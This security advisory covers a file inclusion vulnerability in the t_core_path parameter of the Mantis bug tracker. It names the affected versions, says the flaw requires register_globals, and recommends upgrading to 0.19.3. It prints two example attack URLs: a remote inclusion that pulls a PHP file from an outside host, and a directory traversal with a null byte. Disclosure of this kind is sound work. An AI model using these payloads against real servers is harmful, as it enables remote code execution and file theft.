      Mantis File Inclusion Vulnerability (t_core_path)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mantisbt.org/> Mantis is "a web-based bugtracking system. It
    is written in the PHP scripting language and requires the MySQL database
    and a webserver". Mantis is vulnerable to file inclusion vulnerability due
    lack of sanitation in bug_sponsorship_list_view_inc.php file.

    DETAILS

    Vulnerable Systems:
     * Mantis versions 0.19.2 and 1.0.0rc2. (other versions suspected)

    Immune Systems:
     * Mantis versions 0.19.3.

    Input passed to the "t_core_path" parameter in
    "bug_sponsorship_list_view_inc.php" isn't properly verified, before it
    used to include files. This can be exploited to include arbitrary files
    from external and local resources.

    Examples:
    http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=http://[host]/[file].php?
    http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../[file]%00

    Successful exploitation requires that "register_globals" is enabled (not
    recommended setting).

    Solution:
    Update to Mantis version 0.19.3
     <http://sourceforge.net/project/showfiles.php?group_id=14963>
    http://sourceforge.net/project/showfiles.php?group_id=14963
